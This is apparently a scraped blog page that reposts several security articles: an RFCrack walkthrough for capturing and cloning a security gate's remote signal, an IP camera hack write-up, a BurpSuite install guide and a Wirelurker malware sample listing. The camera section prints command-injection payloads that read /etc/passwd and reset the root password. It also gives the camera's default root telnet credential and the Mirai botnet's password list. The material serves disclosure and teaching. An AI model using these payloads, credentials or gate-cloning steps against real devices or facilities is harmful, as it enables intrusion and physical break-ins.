2020-05-10 ~ Welcome to Comrade Olamilekan's World...

Saturday 16 May 2020

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How To Install Metasploit In Termux

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Hacking Everything With RF And Software Defined Radio - Part 3

Reversing Device Signals with RFCrack for Red Teaming

This blog was researched and automated by:
@Ficti0n

@GarrGhar
Mostly because someone didn't want to pay for a new clicker that was lost LOL

Websites:
Console Cowboys: http://consolecowboys.com
CC Labs: http://cclabs.io

CC Labs Github for RFCrack Code:
https://github.com/cclabsInc/RFCrack

Contrived Scenario:

Bob was tasked to break into XYZ corporation, so he pulled up the facility on google maps to see what the layout was. He was looking for any possible entry paths into the company headquarters. Online maps showed that the whole facility was surrounded by a security access gate. Not much else could be determined remotely so bob decided to take a drive to the facility and get a closer look.

Bob parked down the street in view of the entry gate. Upon arrival he noted the gate was un-manned and cars were rolling up to the gate typing in an access code or simply driving up to the gate as it opening automatically. Interestingly there was some kind of wireless technology in use.

How do we go from watching a car go through a gate, to having a physical device that opens the gate?

We will take a look at reversing a signal from an actual gate to program a remote with the proper RF signal. Learning how to perform these steps manually to get a better understanding of how RF remotes work in conjunction with automating processes with RFCrack.

Items used in this blog:

Garage Remote Clicker: https://goo.gl/7fDQ2N
YardStick One: https://goo.gl/wd88sr
RTL SDR: https://goo.gl/B5uUAR

Walkthrough Video:

Remotely sniffing signals for later analysis:

In the the previous blogs, we sniffed signals and replayed them to perform actions. In this blog we are going to take a look at a signal and reverse it to create a physical device that will act as a replacement for the original device. Depending on the scenario this may be a better approach if you plan to enter the facility off hours when there is no signal to capture or you don't want to look suspicious.

Recon:

Lets first use the scanning functionality in RFCrack to find known frequencies. We need to understand the frequencies that gates usually use. This way we can set our scanner to a limited number of frequencies to rotate through. The smaller rage of frequencies used will provide a better chance of capturing a signal when a car opens the target gate. This would be beneficial if the scanning device is left unattended within a dropbox created with something like a Kali on a Raspberry Pi. One could access it from a good distance away by setting up a wifi hotspot or cellular connection.

Based on research remotes tend to use 315Mhz, 390Mhz, 433Mhz and a few other frequencies. So in our case we will start up RFCrack on those likely used frequencies and just let it run. We can also look up the FCID of our clicker to see what Frequencies manufactures are using. Although not standardized, similar technologies tend to use similar configurations. Below is from the data sheet located at https://fccid.io/HBW7922/Test-Report/test-report-1755584 which indicates that if this gate is compatible with a universal remote it should be using the 300,310, 315, 372, 390 Frequencies. Most notably the 310, 315 and 390 as the others are only on a couple configurations.

RFCrack Scanning:

Since the most used ranges are 310, 315, 390 within our universal clicker, lets set RFCrack scanner to rotate through those and scan for signals. If a number of cars go through the gate and there are no captures we can adjust the scanner later over our wifi connection from a distance.

Destroy:RFCrack ficti0n$ python RFCrack.py -k -f 310000000 315000000 390000000

Currently Scanning: 310000000 To cancel hit enter and wait a few seconds

Currently Scanning: 315000000 To cancel hit enter and wait a few seconds

Currently Scanning: 390000000 To cancel hit enter and wait a few seconds

e0000000000104007ffe0000003000001f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c00000000000000000000000000000000000000000000e0007f037fe007fc00ff801ff07ffe0fffe1fffc3fff0001f00000000000000000000000000000000000000000000003809f641fff801ff003fe00ffc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000003c0bff01bdf003fe007fc00ff83fff07ffe0fffc1fff8001f0000000000000000000000000000000000000000000000380000000000000000002007ac115001fff07ffe0fffc000f8000000000000000000000000000000000000000

Currently Scanning: 433000000 To cancel hit enter and wait a few seconds

Example of logging output:

From the above output you will see that a frequency was found on 390. However, if you had left this running for a few hours you could easily see all of the output in the log file located in your RFCrack/scanning_logs directory. For example the following captures were found in the log file in an easily parseable format:

Destroy:RFCrack ficti0n$ cd scanning_logs/

Destroy:scanning_logs ficti0n$ ls

Dec25_14:58:45.log Dec25_21:17:14.log Jan03_20:12:56.log

Destroy:scanning_logs ficti0n$ cat Dec25_21\:17\:14.log

A signal was found on :390000000

c0000000000000000000000000008000000000000ef801fe003fe0fffc1fff83fff07ffe0007c0000000000000000000000000000000000000000000001c0000000000000000050003fe0fbfc1fffc3fff83fff0003e00000000000000000000000000000000000000000000007c1fff83fff003fe007fc00ff83fff07ffe0fffc1fff8001f00000000000000000000000000000000000000000000003e0fffc1fff801ff003fe007fc1fff83fff07ffe0fffc000f80000000000000000000000000000000000000000000001f07ffe0dffc00ff803ff007fe0fffc1fff83fff07ffe0007c000000000000000000000000000000000000000000

A signal was found on :390000000

Analyzing the signal to determine toggle switches:

Ok sweet, now we have a valid signal which will open the gate. Of course we could just replay this and open the gate, but we are going to create a physical device we can pass along to whoever needs entry regardless if they understand RF. No need to fumble around with a computer and look suspicious. Also replaying a signal with RFCrack is just to easy, nothing new to learn taking the easy route.

The first thing we are going to do is graph the capture and take a look at the wave pattern it creates. This can give us a lot of clues that might prove beneficial in figuring out the toggle switch pattern found in remotes. There are a few ways we can do this. If you don't have a yardstick at home you can capture the initial signal with your cheap RTL-SDR dongle as we did in the first RF blog. We could then open it in audacity. This signal is shown below.

Let RFCrack Plot the Signal For you:

The other option is let RFCrack help you out by taking a signal from the log output above and let RFCrack plot it for you. This saves time and allows you to use only one piece of hardware for all of the work. This can easily be done with the following command:

Destroy:RFCrack ficti0n$ python RFCrack.py -n -g -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c

-n = No yardstick attached

-g = graph a single signal

-u = Use this piece of data

From the graph output we see 2 distinct crest lengths and some junk at either end we can throw away. These 2 unique crests correspond to our toggle switch positions of up/down giving us the following 2 possible scenarios using a 9 toggle switch remote based on the 9 crests above:

Possible toggle switch scenarios:

down down up up up down down down down
up up down down down up up up up

Configuring a remote:

Proper toggle switch configuration allows us to program a universal remote that sends a signal to the gate. However even with the proper toggle switch configuration the remote has many different signals it sends based on the manufacturer or type of signal. In order to figure out which configuration the gate is using without physically watching the gate open, we will rely on local signal analysis/comparison.

Programming a remote is done by clicking the device with the proper toggle switch configuration until the gate opens and the correct manufacturer is configured. Since we don't have access to the gate after capturing the initial signal we will instead compare each signal from he remote to the original captured signal.

Comparing Signals:

This can be done a few ways, one way is to use an RTLSDR and capture all of the presses followed by visually comparing the output in audacity. Instead I prefer to use one tool and automate this process with RFCrack so that on each click of the device we can compare a signal with the original capture. Since there are multiple signals sent with each click it will analyze all of them and provide a percent likelihood of match of all the signals in that click followed by a comparing the highest % match graph for visual confirmation. If you are seeing a 80-90% match you should have the correct signal match.

Note: Not every click will show output as some clicks will be on different frequencies, these don't matter since our recon confirmed the gate is communicating on 390Mhz.

In order to analyze the signals in real time you will need to open up your clicker and set the proper toggle switch settings followed by setting up a sniffer and live analysis with RFCrack:

Open up 2 terminals and use the following commands:

#Setup a sniffer on 390mhz
Setup sniffer: python RFCrack.py -k -c -f 390000000.

#Monitor the log file, and provide the gates original signal
Setup Analysis: python RFCrack.py -c -u 1f0fffe0fffc01ff803ff007fe0fffc1fff83fff07ffe0007c -n.

Cmd switches used

-k = known frequency

-c = compare mode

-f = frequency

-n = no yardstick needed for analysis

Make sure your remote is configured for one of the possible toggle configurations determined above. In the below example I am using the first configuration, any extra toggles left in the down position: (down down up up up down down down down)

Analyze Your Clicks:

Now with the two terminals open and running click the reset switch to the bottom left and hold till it flashes. Then keep clicking the left button and viewing the output in the sniffing analysis terminal which will provide the comparisons as graphs are loaded to validate the output. If you click the device and no output is seen, all that means is that the device is communicating on a frequency which we are not listening on. We don't care about those signals since they don't pertain to our target.

At around the 11th click you will see high likelihood of a match and a graph which is near identical. A few click outputs are shown below with the graph from the last output with a 97% match. It will always graph the highest percentage within a click. Sometimes there will be blank graphs when the data is wacky and doesn't work so well. This is fine since we don't care about wacky data.

You will notice the previous clicks did not show even close to a match, so its pretty easy to determine which is the right manufacture and setup for your target gate. Now just click the right hand button on the remote and it should be configured with the gates setup even though you are in another location setting up for your test.

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.05

Percent Chance of Match for press is: 0.14

Percent Chance of Match for press is: 0.12

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.14

Percent Chance of Match for press is: 0.20

Percent Chance of Match for press is: 0.19

Percent Chance of Match for press is: 0.25

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

----------Start Signals In Press--------------

Percent Chance of Match for press is: 0.93

Percent Chance of Match for press is: 0.97

Percent Chance of Match for press is: 0.90

Percent Chance of Match for press is: 0.88

Percent Chance of Match for press is: 0.44

----------End Signals In Press------------

For Visual of the last signal comparison go to ./imageOutput/LiveComparison.png

Graph Comparison Output for 97% Match:

Conclusion:

You have now walked through successfully reversing a toggle switch remote for a security gate. You took a raw signal and created a working device using only a Yardstick and RFCrack. This was just a quick tutorial on leveraging the skillsets you gained in previous blogs in order to learn how to analyze RF signals within embedded devices. There are many scenarios these same techniques could assist in. We also covered a few new features in RF crack regarding logging, graphing and comparing signals. These are just a few of the features which have been added since the initial release. For more info and other features check the wiki.

How I Hacked My IP Camera, And Found This Backdoor Account

The time has come. I bought my second IoT device - in the form of a cheap IP camera. As it was the most affordable among all others, my expectations regarding security was low. But this camera was still able to surprise me.

Maybe I will disclose the camera model used in my hack in this blog later, but first, I will try to contact someone regarding these issues. Unfortunately, it seems a lot of different cameras have this problem because they share being developed on the same SDK. Again, my expectations are low on this.

The obvious problems

I opened the box, and I was greeted with a password of four numeric characters. This is the password for the "admin" user, which can configure the device, watch its output video, and so on. Most people don't care to change this anyway.

It is obvious that this camera can talk via Ethernet cable or WiFi. Luckily it supports WPA2, but people can configure it for open unprotected WiFi of course.

Sniffing the traffic between the camera and the desktop application it is easy to see that it talks via HTTP on port 81. The session management is pure genius. The username and password are sent in every GET request. Via HTTP. Via hopefully not open WiFi. It comes really handy in case you forgot it, but luckily the desktop app already saved the password for you in clear text in

"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"

This nice camera communicates to the cloud via UDP. The destination servers are in Hong Kong - user.ipcam.hk/user.easyn.hk - and China - op2.easyn.cn/op3.easyn.cn. In case you wonder why an IP camera needs a cloud connection, it is simple. This IP camera has a mobile app for Android and iOS, and via the cloud, the users don't have to bother to configure port forwards or dynamic DNS to access the camera. Nice.

Let's run a quick nmap on this device.

PORT     STATE SERVICE    VERSION
23/tcp   open  telnet     BusyBox telnetd
81/tcp   open  http       GoAhead-Webs httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized
|_  Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open  tcpwrapped

The already known HTTP server, a telnet server via BusyBox, and a port on 8600 (have not checked so far). The 27-page long online manual does not mention any Telnet port. How shall we name this port? A debug port? Or a backdoor port? We will see. I manually tried 3 passwords for the user root, but as those did not work, I moved on.

The double-blind command injection

The IP camera can upload photos to a configured FTP server on a scheduled basis. When I configured it, unfortunately, it was not working at all, I got an invalid username/password on the server. After some debugging, it turned out the problem was that I had a special $ character in the password. And this is where the real journey began. I was sure this was a command injection vulnerability, but not sure how to exploit it. There were multiple problems that made the exploitation harder. I call this vulnerability double-blind command injection. The first blind comes from the fact that we cannot see the output of the command, and the second blind comes from the fact that the command was running in a different process than the webserver, thus any time-based injection involving sleep was not a real solution.

But the third problem was the worst. It was limited to 32 characters. I was able to leak some information via DNS, like with the following commands I was able to see the current directory:

$(ping%20-c%202%20%60pwd%60)

or cleaning up after URL decode:

$(ping -c 2 `pwd`)

but whenever I tried to leak information from /etc/passwd, I failed. I tried $(reboot) which was a pretty bad idea, as it turned the camera into an infinite reboot loop, and the hard reset button on the camera failed to work as well. Fun times.

The following are some examples of my desperate trying to get shell access. And this is the time to thank EQ for his help during the hacking session night, and for his great ideas.

$(cp /etc/passwd /tmp/a)       ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b)   ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`)           ;leak it via DNS

After I finally hacked the camera, I saw the problem. There is no head, tr, less, more or cut on this device ... Neither netcat, bash ...

I also tried commix, as it looked promising on Youtube. Think commix like sqlmap, but for command injection. But this double-blind hack was a bit too much for this automated tool, unfortunately.

But after spending way too much time without progress, I finally found the password to Open Sesame.

$(echo 'root:passwd'|chpasswd)

Now, logging in via telnet

(none) login: root
Password:

BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#

Woot woot :) I quickly noticed the root of the command injection problem:

# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir  PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye

Whenever a command is put into the FTP password field, it is copied into this script, and after the script is scheduled, it is interpreted by the shell as commands. After this I started to panic that I forgot to save the content of the /etc/passwd file, so how am I going to crack the default telnet password? "Luckily", rebooting the camera restored the original password.

root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh

Unfortunately, there is no need to start good-old John The Ripper for this task, as Google can tell you that this is the hash for the password 123456. It is a bit more secure than a luggage password.

It is time to recap what we have. There is an undocumented telnet port on the IP camera, which can be accessed by default with root:123456, there is no GUI to change this password, and changing it via console, it only lasts until the next reboot. I think it is safe to tell this a backdoor.

With this console access we can access the password for the FTP server, for the SMTP server (for alerts), the WiFi password (although we probably already have it), access the regular admin interface for the camera, or just modify the camera as we want. In most deployments, luckily this telnet port is behind NAT or firewall, so not accessible from the Internet. But there are always exceptions. Luckily, UPNP does not configure the Telnet port to be open to the Internet, only the camera HTTP port 81. You know, the one protected with the 4 character numeric password by default.

Last but not least everything is running as root, which is not surprising.

My hardening list

I added these lines to the end of /system/init/ipcam.sh:

sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd

Also, if you want, you can disable the telnet service by commenting out telnetd in /system/init/ipcam.sh.

If you want to disable the cloud connection (thus rendering the mobile apps unusable), put the following line into the beginning of /system/init/ipcam.sh

iptables -A OUTPUT -p udp ! --dport 53 -j DROP

You can use OpenVPN to connect into your home network and access the web interface of the camera. It works from Android, iOS, and any desktop OS.

My TODO list

Investigate the script /system/system/bin/gmail_thread
Investigate the cloud protocol * - see update 2016 10 27
Buy a Raspberry Pie, integrate with a good USB camera, and watch this IP camera to burn

A quick googling revealed I am not the first finding this telnet backdoor account in IP cameras, although others found it via JTAG firmware dump.

And 99% of the people who buy these IP cameras think they will be safe with it. Now I understand the sticker which came with the IP camera.

When in the next episode of Mr. Robot, you see someone logging into an IP camera via telnet with root:123456, you will know, it is the sad reality.

If you are interested in generic ways to protect your home against IoT, read my previous blog post on this.

Update: as you can see in the following screenshot, the bad guys already started to take advantage of this issue ... https://www.incapsula.com/blog/cctv-ddos-botnet-back-yard.html

Update 20161006: The Mirai source code was leaked last week, and these are the worst passwords you can have in an IoT device. If your IoT device has a Telnet port open (or SSH), scan for these username/password pairs.

root xc3511
root vizxv
root admin
admin admin
root 888888
root xmhdipc
root default
root juantech
root 123456
root 54321
support support
root (none)
admin password
root root
root 12345
user user
admin (none)
root pass
admin admin1234
root 1111
admin smcadmin
admin 1111
root 666666
root password
root 1234
root klv123
Administrator admin
service service
supervisor supervisor
guest guest
guest 12345
guest 12345
admin1 password
administrator 1234
666666 666666
888888 888888
ubnt ubnt
root klv1234
root Zte521
root hi3518
root jvbzd
root anko
root zlxx.
root 7ujMko0vizxv
root 7ujMko0admin
root system
root ikwb
root dreambox
root user
root realtek
root 00000000
admin 1111111
admin 1234
admin 12345
admin 54321
admin 123456
admin 7ujMko0admin
admin 1234
admin pass
admin meinsm
tech tech
mother fucker

Update 2016 10 27: As I already mentioned this at multiple conferences, the cloud protocol is a nightmare. It is clear-text, and even if you disabled port-forward/UPNP on your router, the cloud protocol still allows anyone to connect to the camera if the attacker knows the (brute-forceable) camera ID. Although this is the user-interface only, now the attacker can use the command injection to execute code with root privileges. Or just grab the camera configuration, with WiFi, FTP, SMTP passwords included.
Youtube video : https://www.youtube.com/watch?v=18_zTjsngD8
Slides (29 - ) https://www.slideshare.net/bz98/iot-security-is-a-nightmare-but-what-is-the-real-risk

Update 2017-03-08: "Because of code reusing, the vulnerabilities are present in a massive list of cameras (especially the InfoLeak and the RCE),
which allow us to execute root commands against 1250+ camera models with a pre-auth vulnerability. "https://pierrekim.github.io/advisories/2017-goahead-camera-0x00.txt

Update 2017-05-11: CVE-2017-5674 (see above), and my command injection exploit was combined in the Persirai botnet. 120 000 cameras are expected to be infected soon. If you still have a camera like this at home, please consider the following recommendation by Amit Serper "The only way to guarantee that an affected camera is safe from these exploits is to throw it out. Seriously."
This issue might be worse than the Mirai worm because these effects cameras and other IoT behind NAT where UPnP was enabled.
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

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BurpSuite Introduction & Installation

What is BurpSuite?
Burp Suite is a Java based Web Penetration Testing framework. It has become an industry standard suite of tools used by information security professionals. Burp Suite helps you identify vulnerabilities and verify attack vectors that are affecting web applications. Because of its popularity and breadth as well as depth of features, we have created this useful page as a collection of Burp Suite knowledge and information.

In its simplest form, Burp Suite can be classified as an Interception Proxy. While browsing their target application, a penetration tester can configure their internet browser to route traffic through the Burp Suite proxy server. Burp Suite then acts as a (sort of) Man In The Middle by capturing and analyzing each request to and from the target web application so that they can be analyzed.

Everyone has their favorite security tools, but when it comes to mobile and web applications I've always found myself looking BurpSuite . It always seems to have everything I need and for folks just getting started with web application testing it can be a challenge putting all of the pieces together. I'm just going to go through the installation to paint a good picture of how to get it up quickly.

BurpSuite is freely available with everything you need to get started and when you're ready to cut the leash, the professional version has some handy tools that can make the whole process a little bit easier. I'll also go through how to install FoxyProxy which makes it much easier to change your proxy setup, but we'll get into that a little later.

Requirements and assumptions:

Mozilla Firefox 3.1 or Later Knowledge of Firefox Add-ons and installation The Java Runtime Environment installed

Download BurpSuite from http://portswigger.net/burp/download.htmland make a note of where you save it.

on for Firefox from https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/

If this is your first time running the JAR file, it may take a minute or two to load, so be patient and wait.

Video for setup and installation.

You need to install compatible version of java , So that you can run BurpSuite.

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Friday 15 May 2020

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Wirelurker For OSX, iOS (Part I) And Windows (Part II) Samples

PART II

Wirelurker for Windows (WinLurker)

Research: Palo Alto Claud Xiao: Wirelurker for Windows

Sample credit: Claud Xiao

PART I

Research: Palo Alto Claud Xiao WIRELURKER: A New Era in iOS and OS X Malware

Palo Alto |Claud Xiao - blog post Wirelurker

Wirelurker Detector https://github.com/PaloAltoNetworks-BD/WireLurkerDetector

Sample credit: Claud Xiao

Download

Download Part I
Download Part II

Email me if you need the password

List of files

List of hashes

Part II

s+«sìÜ 3.4.1.dmg 925cc497f207ec4dbcf8198a1b785dbd

apps.ipa 54d27da968c05d463ad3168285ec6097
WhatsAppMessenger 2.11.7.exe eca91fa7e7350a4d2880d341866adf35
使用说明.txt 3506a0c0199ed747b699ade765c0d0f8
libxml2.dll c86bebc3d50d7964378c15b27b1c2caa
libiconv-2_.dll 9c8170dc4a33631881120a467dc3e8f7
msvcr100.dll bf38660a9125935658cfa3e53fdc7d65
libz_.dll bd3d1f0a3eff8c4dd1e993f57185be75
mfc100u.dll f841f32ad816dbf130f10d86fab99b1a

zlib1.dll c7d4d685a0af2a09cbc21cb474358595

│ apps.ipa
│ σ╛«σìÜ 3.4.1.dmg
│
└───WhatsAppMessenger 2.11.7
libiconv-2_.dll
libxml2.dll
libz_.dll
mfc100u.dll
msvcr100.dll
WhatsAppMessenger 2.11.7.exe
zlib1.dll
使用说明.txt

Part I

BikeBaron 15e8728b410bfffde8d54651a6efd162
CleanApp c9841e34da270d94b35ae3f724160d5e
com.apple.MailServiceAgentHelper dca13b4ff64bcd6876c13bbb4a22f450
com.apple.appstore.PluginHelper c4264b9607a68de8b9bbbe30436f5f28
com.apple.appstore.plughelper.plist 94a933c449948514a3ce634663f9ccf8
com.apple.globalupdate.plist f92640bed6078075b508c9ffaa7f0a78
com.apple.globalupdate.plist f92640bed6078075b508c9ffaa7f0a78
com.apple.itunesupdate.plist 83317c311caa225b17ac14d3d504387d
com.apple.machook_damon.plist 6507f0c41663f6d08f497ab41893d8d9
com.apple.machook_damon.plist 6507f0c41663f6d08f497ab41893d8d9
com.apple.MailServiceAgentHelper.plist e6e6a7845b4e00806da7d5e264eed72b
com.apple.periodic-dd-mm-yy.plist bda470f4568dae8cb12344a346a181d9
com.apple.systemkeychain-helper.plist fd7b1215f03ed1221065ee4508d41de3
com.apple.watchproc.plist af772d9cca45a13ca323f90e7d874c2c
FontMap1.cfg 204b4836a9944d0f19d6df8af3c009d5
foundation 0ff51cd5fe0f88f02213d6612b007a45
globalupdate 9037cf29ed485dae11e22955724a00e7
globalupdate 9037cf29ed485dae11e22955724a00e7
itunesupdate a8dfbd54da805d3c52afc521ab7b354b
libcrypto.1.0.0.dylib 4c5384d667215098badb4e850890127b
libcrypto.1.0.0.dylib 3b533eeb80ee14191893e9a73c017445
libiconv.2.dylib 94f9882f5db1883e7295b44c440eb44c
libiconv.2.dylib fac8ef9dabdb92806ea9b1fde43ad746
libimobiledevice.4.dylib c596adb32c143430240abbf5aff02bc0
libimobiledevice.4.dylib 5b0412e19ec0af5ce375b8ab5a0bc5db
libiodb.dylib bc3aa0142fb15ea65de7833d65a70e36
liblzma.5.dylib 5bdfd2a20123e0893ef59bd813b24105
liblzma.5.dylib 9ebf9c0d25e418c8d0bed2a335aac8bf
libplist.2.dylib 903cbde833c91b197283698b2400fc9b
libplist.2.dylib 109a09389abef9a9388de08f7021b4cf
libssl.1.0.0.dylib 49b937c9ff30a68a0f663828be7ea704
libssl.1.0.0.dylib ab09435c0358b102a5d08f34aae3c244
libusbmuxd.2.dylib e8e0663c7c9d843e0030b15e59eb6f52
libusbmuxd.2.dylib 9efb552097cf4a408ea3bab4aa2bc957
libxml2.2.dylib 34f14463f28d11bd0299f0d7a3985718
libxml2.2.dylib 95506f9240efb416443fcd6d82a024b9
libz.1.dylib 28ef588ba7919f751ae40719cf5cffc6
libz.1.dylib f2b19c7a58e303f0a159a44d08c6df63
libzip.2.dylib 2a42736c8eae3a4915bced2c6df50397
machook 5b43df4fac4cac52412126a6c604853c
machook ecb429951985837513fdf854e49d0682
periodicdate aa6fe189baa355a65e6aafac1e765f41
pphelper 2b79534f22a89f73d4bb45848659b59b
sfbase.dylib bc3aa0142fb15ea65de7833d65a70e36

sfbase.dylib bc3aa0142fb15ea65de7833d65a70e36
sfbase_v4000.dylib 582fcd682f0f520e95af1d0713639864
sfbase_v4001.dylib e40de392c613cd2f9e1e93c6ffd05246
start e3a61139735301b866d8d109d715f102
start e3a61139735301b866d8d109d715f102
start.sh 3fa4e5fec53dfc9fc88ced651aa858c6
stty5.11.pl dea26a823839b1b3a810d5e731d76aa2
stty5.11.pl dea26a823839b1b3a810d5e731d76aa2
systemkeychain-helper e03402006332a6e17c36e569178d2097
watch.sh 358c48414219fdbbbbcff90c97295dff
WatchProc a72fdbacfd5be14631437d0ab21ff960
7b9e685e89b8c7e11f554b05cdd6819a 7b9e685e89b8c7e11f554b05cdd6819a
update 93658b52b0f538c4f3e17fdf3860778c
start.sh 9adfd4344092826ca39bbc441a9eb96f

File listing

├───databases

│ foundation

│

├───dropped

│ ├───version_A

│ │ │ com.apple.globalupdate.plist

│ │ │ com.apple.machook_damon.plist

│ │ │ globalupdate

│ │ │ machook

│ │ │ sfbase.dylib

│ │ │ watch.sh

│ │ │

│ │ ├───dylib

│ │ │ libcrypto.1.0.0.dylib

│ │ │ libiconv.2.dylib

│ │ │ libimobiledevice.4.dylib

│ │ │ liblzma.5.dylib

│ │ │ libplist.2.dylib

│ │ │ libssl.1.0.0.dylib

│ │ │ libusbmuxd.2.dylib

│ │ │ libxml2.2.dylib

│ │ │ libz.1.dylib

│ │ │

│ │ ├───log

│ │ └───update

│ ├───version_B

│ │ com.apple.globalupdate.plist

│ │ com.apple.itunesupdate.plist

│ │ com.apple.machook_damon.plist

│ │ com.apple.watchproc.plist

│ │ globalupdate

│ │ itunesupdate

│ │ machook

│ │ start

│ │ WatchProc

│ │

│ └───version_C

│ │ com.apple.appstore.plughelper.plist

│ │ com.apple.appstore.PluginHelper

│ │ com.apple.MailServiceAgentHelper

│ │ com.apple.MailServiceAgentHelper.plist

│ │ com.apple.periodic-dd-mm-yy.plist

│ │ com.apple.systemkeychain-helper.plist

│ │ periodicdate

│ │ stty5.11.pl

│ │ systemkeychain-helper

│ │

│ └───manpath.d

│ libcrypto.1.0.0.dylib

│ libiconv.2.dylib

│ libimobiledevice.4.dylib

│ libiodb.dylib

│ liblzma.5.dylib

│ libplist.2.dylib

│ libssl.1.0.0.dylib

│ libusbmuxd.2.dylib

│ libxml2.2.dylib

│ libz.1.dylib

│ libzip.2.dylib

│

├───iOS

│ sfbase.dylib

│ sfbase_v4000.dylib

│ sfbase_v4001.dylib

│ start

│ stty5.11.pl

│

├───IPAs

│ 7b9e685e89b8c7e11f554b05cdd6819a

│ pphelper

│

├───original

│ BikeBaron

│ CleanApp

│ FontMap1.cfg

│ start.sh

│

└───update

start.sh

update

More information

Welcome to Comrade Olamilekan's World...

Saturday 16 May 2020

How To Install Metasploit In Termux

Related posts

Hacking Everything With RF And Software Defined Radio - Part 3

Reversing Device Signals with RFCrack for Red Teaming

Contrived Scenario:

Items used in this blog:

Walkthrough Video:

Remotely sniffing signals for later analysis:

Recon:

RFCrack Scanning:

Example of logging output:

Analyzing the signal to determine toggle switches:

Let RFCrack Plot the Signal For you:

Possible toggle switch scenarios:

Configuring a remote:

Comparing Signals:

Open up 2 terminals and use the following commands:

Analyze Your Clicks:

Graph Comparison Output for 97% Match:

Conclusion:

Related links

How I Hacked My IP Camera, And Found This Backdoor Account

The obvious problems

The double-blind command injection

My hardening list

My TODO list

BurpSuite Introduction & Installation

Friday 15 May 2020

Wirelurker For OSX, iOS (Part I) And Windows (Part II) Samples

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